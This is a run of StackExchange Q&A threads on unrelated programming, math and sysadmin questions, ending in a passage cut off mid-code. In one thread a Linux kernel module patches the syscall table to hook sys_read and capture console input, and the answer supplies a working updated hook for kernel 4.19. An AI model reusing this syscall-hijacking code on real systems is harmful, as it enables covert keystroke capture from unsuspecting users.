text:
Q: Filtering what get puts oin an array PHP im doing some work with the Magento SOAP API and i am trying to create a valid list of orders. I have got the list but it shows both the configurable products as well as simple product giving me duplicating like the image below:

The first listing of the same product is the configurable product, the second is the simple product. What i need to do is filter out the simple products so they dont shown in the list or get stored. This sounds simple but there is one problem that im struggling to get my head around how to solve, and that is products like the Nokia in the image above are standard simple products and have no configurable properties and they also need to be shown!
So basically i need to get rid of the simple products relating to the configurable products but none others.
Here is my loop and array push:
foreach($sales_order_info->items as $i){
                $nextItem = new item();
                $nextItem->set_order_id($i->order_id);
                $nextItem->set_sku($i->sku);
                $nextItem->set_name($i->name);
                $nextItem->set_qty_ordered($i->qty_ordered);
                $nextItem->set_price($i->price);
                $nextItem->set_row_total($i->row_total);

                array_push($this->items, $nextItem);
            }

Thanks very much

A: If you need to filter simple product of a configurable product:
 if ($product->getProductType() == Mage_Catalog_Model_Product_Type::TYPE_SIMPLE) {
    if ( $product->getParentItemId()) {
                        $parent_product_type = Mage::getModel('sales/order_item')->load($product->getParentItemId())->getProductType();
                        //if Parent product type is configurable don't output its simple product
                        if ($parent_product_type == Mage_Catalog_Model_Product_Type::TYPE_CONFIGURABLE) {
                            continue;
                        }
                    }
}

If you don't want to extend Magento API and write your own custom calls you can try the following.
The second option is to try using (not sure how you load it, with what Call):
$i->type

and then filter the array with PHP (i.e. if there are 2 elements with the same name and quantity remove the one that has type==simple)
Or the third option would be (if you don't have any free products) just check if price is equal to zero, as simple products which belong to configurable has price = 0.0000
if ($i->price==0.0000) {
    continue;
}


text:
Q: Can't install JPCAP library I can't install JPCAP on my ubuntu machine.
It tells that depends on sun-java6-jdk & libpcap0.8. However I do have them installed in my system as you can see.
kujim@kujim:~/Downloads$ ldconfig -p | grep libpcap
    libpcap.so.0.8 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
    libpcap.so (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libpcap.so

This is the error:
kujim@kujim:~/Downloads$ sudo apt-get -f install jpcap
Reading package lists... Done
Building dependency tree
Reading state information... Done
jpcap:i386 is already the newest version.
You might want to run 'apt-get -f install' to correct these:
The following packages have unmet dependencies:
 jpcap:i386 : Depends: sun-java6-jdk:i386 but it is not installable
              Depends: libpcap0.8:i386 but it is not going to be installed
E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).

I have tried the following command but no success.
kujim@kujim:~/Downloads$ sudo dpkg -i --ignore-depends=sun-java6-jdk jpcap-0.7.deb
(Reading database ... 227615 files and directories currently installed.)
Preparing to unpack jpcap-0.7.deb ...
Unpacking jpcap (0.7) over (0.7) ...
dpkg: dependency problems prevent configuration of jpcap:
 jpcap depends on sun-java6-jdk.
 jpcap depends on libpcap0.8.

dpkg: error processing package jpcap (--install):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 jpcap

Any suggestions ?

A: apt-get is telling you that you're missing sun-java6-jdk:i386 and libpcap0.8:i386, which are the 32-bit versions of these packages.  You have the 64-bit versions installed.
Try running apt-get install sun-java6-jdk:i386 libpcap0.8:i386.  The output should tell you something more about why those packages aren't installable.

redpajama_set_name: RedPajamaStackExchange


text:
Q: learning how to use pretty-faces I'm starting with PrettyFaces and i would like a url like this:
"/project/car/alter/120" -- this is pretty link.
But when i send a GET request in JSF i got this:
"/project/car?action=alter&id=120"

If i make this in pretty-config.xml:
<url-mapping>
        <pattern value="/car/#{action}/#{id}" />
        <view-id value="/car?action=alter&id=120" />
    </url-mapping>

This don't work because i can't generate the "pattern" link. How can i solve this ?

A: First, you should not hard-code your parameter values in the url-mapping configuration. It should look like this:
<url-mapping>
    <pattern value="/car/#{action}/#{id}" />
    <view-id value="/car.xhtml" />
</url-mapping>

Next, you should use  to generate your URLs in your XHTML pages:
http://www.ocpsoft.org/docs/prettyfaces/3.3.3/en-US/html/outbound_rewriting.html#jsf
<h:link outcome="/car" value="View car>
    <f:param name="action" value="view" />
    <f:param name="id" value="231" />
</h:link>

Does this answer your question?


text:
Q: Time for bead to slide along the chord of a vertical circle I ran into this problem in my mechanics homework.

Here's my go at it. I hit a wall at the end and I just don't know what to do.
assuming this circle
Please note that $\alpha \neq 90$ degrees. It's just faulty sketching. Sorry.

$\because Arc Length (L) = 2rSin(\frac{\theta}{2})$
$\therefore S_1 = 2rSin(\frac{\theta}{2}), S_2 = 2rSin(\frac{\alpha}{2})$
$\because S = V_i + \frac{1}{2}at^2 $
$\therefore S_1 = 0 + \frac{1}{2}a(t_1)^2, S_2 = 0 + \frac{1}{2}a(t_2)^2$
$\therefore 2rSin(\frac{\theta}{2}) = \frac{1}{2}a(t_1)^2, 2rSin(\frac{\alpha}{2}) = \frac{1}{2}a(t_2)^2 $
$(t_1)^2 = \frac{4rSin(\frac{\theta}{2})}{a}$, $(t_2)^2 = \frac{4rSin(\frac{\alpha}{2})}{a}$
$\therefore \frac{(t_1)^2}{(t_2)^2} = \frac{\frac{4rSin(\frac{\theta}{2})}{a}}{\frac{4rSin(\frac{\alpha}{2})}{a}}$
$\frac{(t_1)^2}{(t_2)^2} = \frac{Sin(\frac{\theta}{2})}{Sin(\frac{\alpha}{2})}$
$\frac{t_1}{t_2} = \frac{\sqrt{Sin(\frac{\theta}{2}}}{\sqrt{Sin(\frac{\alpha}{2}}}$

That's it. That's the wall I hit. I don't know what to do anymore. Can someone help?

A: Using geometry you can get for the distance AC :
$S=2r\cos\alpha=2r\sin\beta$
where $\alpha$ is the angle MAC and $\beta=90-\alpha$ is the slope of AC. (The polar equation of a circle of radius $a$ with origin at A is $r=2a\sin\theta$.)
The acceleration down AC is $a=g\sin\beta$. The distance is $S=2r\sin\beta$. So the time of descent is $t=\sqrt{\frac{2s}{a}}=\sqrt{\frac{4r}{g}}$. This is independent of $\beta$ (or equivalently $\theta$). Therefore $t_1=t_2$. More generally, the bead will descend in the same time $\sqrt{\frac{4r}{g}}$ along any chord.

Your calculation is close to success.
$\frac{\theta}{2}=\beta$, the slope of AC. The accelerations $a=g\sin\beta$ along AC and AB are not equal, they depend on the slope $\beta$.


text:
Q: Flutter: FCM Unhandled Exception: Null check operator used on a null value
E/flutter (26872): [ERROR:flutter/lib/ui/ui_dart_state.cc(199)]
Unhandled Exception: Null check operator used on a null value
E/flutter (26872): #0
MethodChannelFirebaseMessaging.registerBackgroundMessageHandler
(package:firebase_messaging_platform_interface/src/method_channel/method_channel_messaging.dart:173:53)
E/flutter (26872): #1
FirebaseMessagingPlatform.onBackgroundMessage=
(package:firebase_messaging_platform_interface/src/platform_interface/platform_interface_messaging.dart:108:16)

// Background Messaging Set Up
    Future<void> _firebaseMessagingBackgroundHandler(
        RemoteMessage message) async {
      print('background message');
    }

    FirebaseMessaging.onBackgroundMessage(_firebaseMessagingBackgroundHandler);
    runApp(....)

I am getting an error for this code on Android system. Everything works except when the app is terminated.
What works on Android:

*

*Notification when Terminated, onBackground and onForeground

*Date only when onForeground

What does not work on Android:

*

*Data only when Terminated and onBackground

What works on iOS:

*

*Notification when Terminated, onBackground and onForeground

*Date only when onForeground

What does not work on iOS:

*

*Data only when Terminated,

I have no clue why I am getting that null value error on Android system and how can I fix this issue? Also, is it true that I can not receive the Data only push notification on iOS when the app is terminated?

A: In my case, doing what docs said was not enough. So I realized that I should add WidgetsFlutterBinding.ensureInitialized() before everything in main function like this:
void main() {
  WidgetsFlutterBinding.ensureInitialized();
  FirebaseMessaging.onBackgroundMessage(_handleMessage);
  runApp(const Homino());
}

A: I had the same error as like you, on the same line. I checked out docs and it says 2 things about background message handler.

*

*It must not be an anonymous function.

*It must be a top-level function (e.g. not a class method which requires initialization).

In my case it was not a top-level function, it was declared inside a class. When you move your handler out of any class or function, so that it is a top-level function and doesn't require any class or method initialisation then the error will be gone.

A: _firebaseMessagingBackgroundHandler function should be outside of the main function.
Future<void> _firebaseMessagingBackgroundHandler(RemoteMessage message) async {
  await Firebase.initializeApp();
}

Future<void> main() async {

  FirebaseMessaging.onBackgroundMessage(_firebaseMessagingBackgroundHandler);

  runApp(
    ...
  );
}


text:
Q: Name for $X^\infty=\bigcup\limits_{k=0}^\infty X^k$ I'm making structures associated with groups, rings and so on in OCaml and in order to do so I started by defining sets and a few operations (intersection, union, difference, carthesian product, carthesian power) and now I want to define a set $X^\infty=\bigcup\limits_{k=0}^\infty X^k\subsetneq X^\Bbb N$ which I would represent with arrays but I couldn't find a proper name for it. Is there one?

A: This is the free monoid on the set $X$. A monoid is a set together with a binary operation which is associative and has a unit. The monoid structure on the set you call $X^{\infty }$ is concatenation and the unit is the unique $0$-tuple (the only element in the set $X^0$). The more common notation for the free monoid is $X^*$.

A: This is the set of finite sequences from $X$. It has many notations, for example $X^\ast, X^{<\Bbb N}, X^{<\omega}$.
It is easy to note that this is also equivalent to the set of [formal] polynomials over $X$.

A: If you mean the infinite disjoint union, you could call it the coproduct of the sets $X_k$. If they are not disjoint, you could call it the coequalizer of the $X_k$ (note: both are category theoretical notions, and generalize to every category, not only the category $\mathbf{Sets}$ of sets and arbitrary maps of sets).


text:
Q: Memory Isolation in new Linux Kernels, or what? This my module perfectly hijacks user's console: https://pastebin.com/99YJFnaq
And it was Linux kernel 4.12, Kali 2018.1.
Now, I've installed the latest version of Kali - 2019.1. It uses kernel 4.19:

Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1
  (2019-01-03) x86_64 GNU/Linux

I'm trying to catch anything, but nothing with fd == 0 exists in flow.

I've googled for a long long time, tried to read changelogs on different resources...

I've found such module kpti, which probably would do something like that, but this module is not installed in Kali 2019.1.
Please, help me find the exact reason why hacked_read in this piece of code stopped hearing sys_read():
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

I'm sure that everything like before keeps calling sys_read(). tee, bash, vi - all this stuff could not be changed in such short period, but linux-kernel.
I will appreciate the code with bypassing.

A: A bit of troubleshooting shows the following:

*

*Of course, none of userspace programs stopped using read(). They still keep calling it.

*There is no "memory isolation". The syscalls table is succesfully modified during the module initialization and the pointer to sys_read() is successfully replaced with pointer to hacked_read_test().

*When the module is loaded, the read() syscall works as if it was the original one.

*The change in the behavior happened between kernels 4.16 and 4.16.2 (i.e. between April 1, 2018 and April 12, 2018).

Considering this, we have pretty narrow list of commits to check, and the changes are likely to be in the syscalls mechanism. Well, looks like this commit is what we are looking for (and few more around).
The crucial part of this commit is that it changes signatures of the functions defined by SYSCALL_DEFINEx so that they accept a pointer to struct pt_regs instead of syscall arguments, i.e. sys_read(unsigned int fd, char __user * buf, size_t count) becomes sys_read(const struct pt_regs *regs). This means, that hacked_read_test(unsigned int fd, char *buf, size_t count) is no longer a valid replacement for sys_read()!
So, with new kernels you replace sys_read(const struct pt_regs *regs) with hacked_read_test(unsigned int fd, char *buf, size_t count). Why this does not crash and instead works as if it was the original sys_read()? Consider the simplified version of hacked_read_test() again:
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}

Well. The first function argument is passed via %rdi register. The caller of sys_read() places a pointer to struct pt_regs into %rdi and performs a call. The execution flow goes inside hacked_read_test(), and the first argument, fd, is checked for not being zero. Considering that this argument contains a valid pointer instead of file descriptor, this condition succeeds and the control flow goes directly to original_read(), which receives the fd value (i.e., actually, the pointer to struct pt_regs) as a first argument, which, in turn, then gets successfully used as it was originally meant to be. So, since kernel 4.16.2 your hacked_read_test() effectively works as follows:
unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}

To make sure about it, you can try the alternative version of hacked_read_test():
unsigned long hacked_read_test( void *ptr ) {
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}

After compiling and insmoding this version, you get the following:
invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)

You may create a working version of hacked_read_test(), but it seems that the implementation will be platform-dependent, as you will have to extract the arguments from the appropriate register fields of regs (for x86_84 these are %rdi, %rsi and %rdx for 1st, 2nd and 3rd syscall arguments respectively).
The working x86_64 implementation is below (tested on kernel 4.19).
#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}


text:
Q: gcloud ubuntu 14.04 tomcat 8 can't deploy sqlitesync.war I've asked this question on stackoverflow and have been directed here:
I'm working on the backend for a university app development project and have run into a solid brick wall. I'm a bit of a noob with this stuff.
I've been given access to a gcloud vm instance running ubuntu server 14.04 and have been attempting to setup Sqlite-Sync on tomcat 8. My team is attempting to build Xamarin app with an sqlite DB that will sync with a MySQL remote DB.
Initially I installed LAMP, phpMyAdmin and tomcat on the instance. I spent way to long attempting to access tomcat via ipv4 port 8080 as it only seemed to be listening on ipv6. Once I managed to fix that and deployed the SqliteSync.war I ended up with missing dependency issues, specifically glassfish and it's maven dependencies.
So now, having installed the alleged dependencies and remove and reinstalled tomcat (due it refusing to listen to anything on any protocol). I now can't deploy sqlitesync.war (or the most recent version that the OG dev sent me). I've been told that tomcat can't overwrite old .war and the old versions need to be removed manually, yet they don't seem to exist on my instance. Error logs tell me:
java.io.IOException: java.io.FileNotFoundException: /opt/tomcat/webapps/SqliteSync_307.war (Permission denied)

Caused by: java.io.FileNotFoundException: /opt/tomcat/webapps/SqliteSync_307.war (Permission denied)

18-May-2017 10:05:54.295 SEVERE [http-nio-8080-exec-4] org.apache.catalina.core.ApplicationContext.log HTMLManager: FAIL -    Deploy Upload Failed, Exception: java.io.FileNotFoundException: /opt/tomcat/webapps/SqliteSync.war (Permission denied)

I'm seriously stuck and would appreciate any assistance. Do I burn the whole thing down and start again? Is it just some sort of permissions issue? Is there some way to force deployment of the .war?


text:
Q: Calling an Array from a ForLoop I'm learning java a bit and I need help calling an array while its in a For Loop, Here's my array code.
Entire Code was Requested, Sorry If its sloppy or bad coding
    import java.util.Scanner ;
       public class jakeGrim {

        public static void  main(String[] args) {
                // Local variable

                int option;
                String squareFootage="";
                int noBed = 0;
                double totalSum =0;
                String propertyCode="";
                String propertyType="";

                Scanner input = new Scanner( System.in );
                Scanner user_input = new Scanner( System.in );

  do{
                  // Display menu graphics
                System.out.println(" ");
            System.out.println("|  *****Rental Menu*******   |");
            System.out.println("|        1. Enter rental property Details     ");
            System.out.println("|        2. Enter monthly rent ( 12 Months )       ");
            System.out.println("|        3. Display Annual Rent");
            System.out.println("|        4. Display rental report       ");
            System.out.println("|        5. Display Monthly rents falling below a certain threshold       ");
            System.out.println(" ");
            System.out.println(" Please Select an option: ");
            option = input.nextInt();

  {

    switch (option) {

   case 1:

            System.out.println("Enter Rental Details: ");
            System.out.println("Property Code:            ");
            propertyCode = user_input.next();
            System.out.println("Property Type:            ");
            propertyType = user_input.next();
            System.out.println("Square Footage:           ");
            squareFootage = user_input.next();
            System.out.println("Number Of bedrooms        ");
            noBed = input.nextInt();
            break;

      case 2:

     {
                Scanner keyboardScanner = new Scanner(System.in);
         double[] array = new double[12];
         for (int i = 0; i < 12; i++) {
         System.out.println("Enter Rental for month[" +( i +1)+ "]");
         array[i] = keyboardScanner.nextDouble();
       }

       //So now, we need to do something with that array and sum up all the values in that array.
       for (int i = 0; i < array.length; i++){
         System.out.println(array[i]);

        totalSum += array[i];
      }
       }

        break;

            case 3:
            System.out.println("The annual rent for propery code "+propertyCode+" is:  " +    (totalSum));

       break;

    case 4:
           System.out.println(" Property Code:      "+propertyCode);
           System.out.println(" Property Type:      "+propertyType);
           System.out.println(" Square Footage:     "+squareFootage);
           System.out.println(" Number of Bedrooms: "+noBed);
           System.out.println("");
           System.out.println("");
       for(int i = 0; i<12; i++)
           System.out.println("Rental for month " + (i+1) + " : " + array[i]);

           break;
           default:
             System.out.println("Invalid selection");
             break;
            }
         }
       }while (option!=0);
       }
       }

Now I need to display the 12 different User entered numbers in a Different Case, Due to this all being part of a switch method. Is there a way to do this, I have tried the very simple code Like
          System.out.println("Rental for month 1: "+i(1));

But it says "cannot find symbol- method i(int)"
I just want to declare them, Is there any way?

A: Try this-->
This will print rent for each month..
for(int i = 0; i < 12; i++)
    System.out.println("Rental for month " + (i+1) + " : " + array[i]);

One more edit in your code should be made..
     double[] array = new double[12];

     for (int i = 0; i < 12; i++)
     {
         System.out.println( "Enter Rental for month[" + (i+1) + "]" );
         array[i] = keyboardScanner.nextDouble();
     }

A: System.out.println("Rental for month 1: "+i(1));

What is i here ? Looks like a method which you dont have. You have to do following in a loop
System.out.println("Rental for month " + (i+1) + " : " + array[i]);


text:
Q: Accessing photos on iPhone iCloud backup Is it possible to access photos from iPhone iCloud backups without loading them onto a iPhone?
After losing my phone, I purchased a new iPhone with less memory. I was able to partially restore my apps and photos on to this new iPhone but not completely due to lack of space.
Now I have a situation where several hundred photos are stored in a iPhone backup but I have seemingly no way of accessing them without purchasing a iPhone with the same memory as the previous one.
Is there any way around this?
(I have looked into a few of the third party tools like 'iMobie phoneRescue' or Dr Fone and if anyone has any first hand experience using these I would be interested to hear from you)

A: If you have a copy of the backup, there are a couple of ways to get these back.

*

*Free
http://www.itunesextractor.com/extract-photos-from-iphone-backup.html

*Paid
https://www.imobie.com/phonerescue/
I would make a backup of your file, then try the free one first and if that doesn't work try the paid version if these photos are important.
Hope one of these will work!

A: If you're using iCloud Photo Library, you can access your photos through icloud.com or the Photos app on your Mac (if any).


text:
Q: Find basis and dimension of system of linear equations I have the homogeneous system of linear equations
$$
2x_1 + 2x_2 + 4x_3 - 2x_4 = 0,
$$
$$
x_1 + 2x_2 + x_3 + 2x_4 = 0,
$$
$$
-x_1 + x_2 + 4x_3- 2x_4 = 0.
$$
I row reduced to
$$\begin{bmatrix}1 & 0 & 0 & -.625\\0 & 1 & 0 & 1.875\\0 & 0 & 1 & -1.125\end{bmatrix}$$
And came up with the general solution:
$$\begin{bmatrix}x_1 \\x_2\\x_3\\x_4\end{bmatrix} = \begin{bmatrix}-.625 \\ 1.875 \\ -1.125 \\ t\end{bmatrix}$$
  t = any real number
So I believe that the basis will be:
$$\begin{bmatrix}2\\1\\-1\end{bmatrix} + \begin{bmatrix}2\\2\\1\end{bmatrix} + \begin{bmatrix}4\\1\\4\end{bmatrix} + {\begin{bmatrix}-2\\2\\-2\end{bmatrix}}$$
Dimension = # of vectors in the basis so It would be 4.
My question is did I handle the free variable $x_4$ correctly in my answer? Or should I exclude the last vector, ${\begin{bmatrix}-2\\2\\-2\end{bmatrix}}$, because they are all free variables, which would make the Dimension = 3

A: If the RREF is $$\begin{bmatrix}1 & 0 & 0 & -.625\\0 & 1 & 0 & 1.875\\0 & 0 & 1 & -1.125\end{bmatrix}$$
And came up with the general solution:
$$\begin{bmatrix}x_1 \\x_2\\x_3\\x_4\end{bmatrix} = \begin{bmatrix}0.625t \\ -1.875t \\ 1.125t \\ t\end{bmatrix}=t\begin{bmatrix}0.625 \\ -1.875 \\ 1.125 \\ 1\end{bmatrix}$$
From here, can you state the dimension and a basis for the solution space now?


text:
Q: Columns are not defined for this connection manager When I open my flat file connection manager, I see a warning message:

Columns are not defined for this connection manager

How do I solve this issue, or is it even something I need to worry about?

A: Click "Columns" in the pane on the left and define the columns of your flat file.

A: I am doing an "online" course and during the steps of importing a flat file I also encountered it. I could not get it to work initially. Then I aborted the import and tried again and used the " as text qualifier (even though the columns in the file are separated). It worked and I could see the correct columns in preview.

A: I know this might sound dumb but in my case, I accidently saved the file as xlsb instead of csv.  Saving the file as the correct file type resolved issue.


text:
Q: What is wrong with this pinvoke? I have this piece of code that has not been modified but all of a sudden it has stopped working... I could swear that it used to work but can't guarantee it. It throws an exception:

Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

static void Main(string[] args)
{
    ErrorMsg(123);
}

[DllImport("kernel32.dll", EntryPoint = "FormatMessageW", CharSet = CharSet.Auto)]
static extern int FormatMessage(int dwFlags, IntPtr lpSource, long dwMessageId, int dwLanguageId, out IntPtr MsgBuffer, int nSize, IntPtr Arguments);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern int GetThreadLocale();

/// <summary>
/// Gets a Locale specific windows error
/// code specified.
/// </summary>
/// <param name="errorcode">The errorcode.</param>
public static string ErrorMsg(long errorcode)
{
    try
    {
        if (errorcode == 0)
            return "No Error";
        IntPtr pMessageBuffer;
        int dwBufferLength;
        string sMsg;
        int dwFormatFlags;
        //FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS
        dwFormatFlags = 0x00000100 | 0x00000200 | 0x00001000;
        dwBufferLength = FormatMessage(dwFormatFlags, IntPtr.Zero, errorcode, GetThreadLocale(), out pMessageBuffer, 0, IntPtr.Zero);
        if (dwBufferLength == 0)
            return "An Unknown Error Has occured.";
        sMsg = Marshal.PtrToStringUni(pMessageBuffer);
        Marshal.FreeHGlobal(pMessageBuffer);
        return sMsg;
    }
    catch (Exception ex)
    {
        return "An Unknown Error Has occured.";
    }
}

What am I doing wrong here, I can't seem to find anything? Thanks!

A: Your code worked fine when I tested it on my machine. By the way is there any reason you wouldn't prefer the following method which is a little shorter and achieves equivalent goal:
static void Main()
{
    var ex = new Win32Exception(123);
    Console.WriteLine(ex.Message);
}

Of course under the covers Win32Exception PInvokes into FormatMessage but at least it's the .NET framework that should worry about it, not us.

UPDATE:
Here's how the Win32Exception.GetErrorMessage method is implemented in .NET:
private static string GetErrorMessage(int error)
{
    string result = "";
    StringBuilder stringBuilder = new StringBuilder(256);
    int num = SafeNativeMethods.FormatMessage(12800, NativeMethods.NullHandleRef, error, 0, stringBuilder, stringBuilder.Capacity + 1, IntPtr.Zero);
    if (num != 0)
    {
        int i;
        for (i = stringBuilder.Length; i > 0; i--)
        {
            char c = stringBuilder[i - 1];
            if (c > ' ' && c != '.')
            {
                break;
            }
        }
        result = stringBuilder.ToString(0, i);
    }
    else
    {
        result = "Unknown error (0x" + Convert.ToString(error, 16) + ")";
    }
    return result;
}

where FormatMessage is declared like this:
[DllImport("kernel32.dll", BestFitMapping = true, CharSet = CharSet.Auto, SetLastError = true)]
public static extern int FormatMessage(int dwFlags, HandleRef lpSource, int dwMessageId, int dwLanguageId, StringBuilder lpBuffer, int nSize, IntPtr arguments);

A: Try sMsg = Marshal.PtrToStringUni(pMessageBuffer, dwBufferLength);


text:
Q: this.setProps doesnt automatically update In React assuming I have an integer variable called myProperty which is returned from getDafaultProps, if I console.log(myProperty) before and after I call this.setProps(myProperty+1) in a update function the console logs the same value for myProperty.The property updates after the function ends and next time I called my function myProperty is the new value but does anyone know why or rather explain to me why myProperty is not updated immediately when this.setProps is called?
thanks for taking your time to respond. relevant code below
getDefaultProps: function() {
    return { colorIndex: -1 };
},
update: function() {
    console.log("clicked and index is " + this.props.colorIndex); //returns -1
    this.setProps({colorIndex: this.props.colorIndex + 1});
    console.log("index is now " + this.props.colorIndex); /still returns -1
},

A: Both setState and setProps do not immediately mutate - From Reacts documentation:
https://facebook.github.io/react/docs/react-component.html#setstate

setState() does not immediately mutate this.state but creates a
  pending state transition. Accessing this.state after calling this
  method can potentially return the existing value. There is no
  guarantee of synchronous operation of calls to setState and calls may
  be batched for performance gains.

Your update method should call setState, and your render method will execute on basis of the updated state.


text:
Q: CSS visited link I've got a problem with visited CSS link feature.
Here are the requirements:

*

*links should be black color,

*already visited links, should be a silver color

I've tried several variants but they didn't work.
Here is my last one:
Here is my HTML code:

.heading a {
  text-decoration: none;
  color: black;
}

.heading a:visited {
  color: silver;
}

 WE ARE...

Designers

Consultants

Strategists

Engineers

Developers

Architects

Analysts


text:
Q: Why does registering to event with empty lambda function cause strong reference in memory? There is some sample code:
public class Publisher
    event Published()
end class

public class Subscriber
    public sub new(Publisher as Publisher)
        addhandler Publisher.Published,
            sub()

            end sub
    end sub
end class

*

*Does registering to the Publisher event in Subscriber constructor prevent Subscriber from being garbage collected even if an empty lambda function, that doesn't capture Subscriber, is passed as event handler?

*Is it the same in C#?
Edit
A simple console application to test it:
Sub Main()

    Dim Publisher As New Publisher

    For i = 1 To 1000000
        Dim Subscriber As New Subscriber(Publisher)
    Next

    GC.Collect()
    Dim TotalMemory = GC.GetTotalMemory(True)

    Trace.WriteLine(TotalMemory)
End Sub

Unfortunately, the application consumes 36 megabytes of memory after garbage collection, which means that all Subscribers stay in memory!
Debug and Release on different target frameworks 2.0, 3.0, 3.5, 4.0, 4.5 give the same results.

*Can anyone reproduce the issue or explain why adding an event handler works with way?

A: If you don't reference anything related to Subscriber in your anonymous function, it will be compiled as static method of Subscriber class and as such it won't prevent any instances of Subscriber class to be garbage collected. You may want to look at this link - http://blogs.msdn.com/b/oldnewthing/archive/2006/08/02/686456.aspx - for more info.
UPDATED. Code below shows almost the same values of total memory, when running in Release mode (in Debug mode it indeed works as you said):
internal class Program {
    private static void Main(string[] args) {
        Console.WriteLine("Before: {0}", GC.GetTotalMemory(true));
        var pub = new Publisher();
        for (int i = 0; i < 1000000; i++) {
            var sub = new Subscriber(pub);
        }
        GC.Collect();
        Console.WriteLine("After: {0}", GC.GetTotalMemory(true));
        Console.ReadKey();
    }
}

public class Publisher {
    public EventHandler Published;
}

public class Subscriber {
    public Subscriber(Publisher pub) {
        pub.Published += delegate { };
    }
}


text:
Q: Spinner is not working properly The problem I am having is that I want spinner2 to populate after I select (for example) Canada, but for some reason spinner2 gets populated at startup instead of after I select Canada. I also connected a string array to spinner2 to make sure that it would startup with nothing but it still doesn't work. Here is what I have so far:
public class MainActivity extends Activity {

    private Spinner spinner1, spinner2;
    private Button button;

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        addListenerOnButton();
        addListenerOnSpinnerItemSelection();
